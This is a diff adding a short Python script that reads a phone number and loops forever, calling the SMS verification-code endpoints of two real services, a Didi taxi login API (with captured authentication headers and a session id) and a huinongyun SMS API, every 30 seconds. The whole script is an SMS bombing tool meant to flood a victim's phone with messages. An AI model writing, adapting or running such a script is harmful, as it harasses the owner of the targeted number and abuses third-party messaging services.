|
| 1 | +import requests |
| 2 | +import json |
| 3 | +import time |
| 4 | + |
| 5 | +print('七月') |
| 6 | +def send_code(phone_number): |
| 7 | + url = 'https://epassport.diditaxi.com.cn/passport/login/v5/codeMT' |
| 8 | + headers = { |
| 9 | + 'Host': 'epassport.diditaxi.com.cn', |
| 10 | + 'Connection': 'keep-alive', |
| 11 | + 'Content-Length': '455', |
| 12 | + 'Mpxlogin-Ver': '5.5.1', |
| 13 | + 'content-type': 'application/x-www-form-urlencoded', |
| 14 | + 'secdd-authentication': '49afb436f1b4de01ccd95876718546a2ee095f5762fd80e5b45c6017a80b6d73e09ebd0ba9c3ef1cd29888d9ca528e19bf0e73cf9401000001000000', |
| 15 | + 'secdd-challenge': '3|2.0.11||||||', |
| 16 | + 'Accept-Encoding': 'gzip,compress,br,deflate', |
| 17 | + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.56(0x1800382d) NetType/WIFI Language/zh_CN', |
| 18 | + 'Referer': 'https://servicewechat.com/wx9e9b87595c41dbb7/491/page-frame.html' |
| 19 | + } |
| 20 | + data = { |
| 21 | + 'q': '{"api_version":"1.0.1","appid":35011,"role":1,"device_name":"iPhone XS Max China-exclusive<iPhone11,6>","sec_session_id":"BxdYpEmKtRAjVQKCUbzheJtWBkjiT5ZYQ1S4k8ZpEQEbICRRc7Iom6gG3EFtcOYj","policy_id_list":[50008256],"policy_name_list":[],"ddfp":"","lang":"zh-CN","wsgenv":"","cell":"转换手机号","country_calling_code":"+86","code_type":1,"scene":1}' |
| 22 | + } |
| 23 | + # 替换手机号 |
| 24 | + data['q'] = data['q'].replace('"cell":"转换手机号"', f'"cell":"{phone_number}"') |
| 25 | + |
| 26 | + try: |
| 27 | + response = requests.post(url, headers=headers, data=data) |
| 28 | + if response.status_code == 200: |
| 29 | + print(response.text) |
| 30 | + else: |
| 31 | + print("请求失败") |
| 32 | + return None |
| 33 | + except requests.RequestException as e: |
| 34 | + print("发生网络错误,状态码:{e}") |
| 35 | + return None |
| 36 | +def send_code2(phone_number): |
| 37 | + url = f'https://stdch5.huinongyun.cn/api-uaa/validata/smsCode/{phone_number}/voc' |
| 38 | + |
| 39 | + try: |
| 40 | + response = requests.get(url) |
| 41 | + if response.status_code == 200: |
| 42 | + print(response.text) |
| 43 | + else: |
| 44 | + print("请求失败") |
| 45 | + return None |
| 46 | + except requests.RequestException as e: |
| 47 | + logging.error(f"发生网络错误: {e}") |
| 48 | + return None |
| 49 | + |
| 50 | +phone = input("手机号:") |
| 51 | + |
| 52 | +while True: |
| 53 | + send_code(phone) |
| 54 | + time.sleep(30) |
| 55 | + send_code2(phone) |
| 56 | + time.sleep(30) |
0 commit comments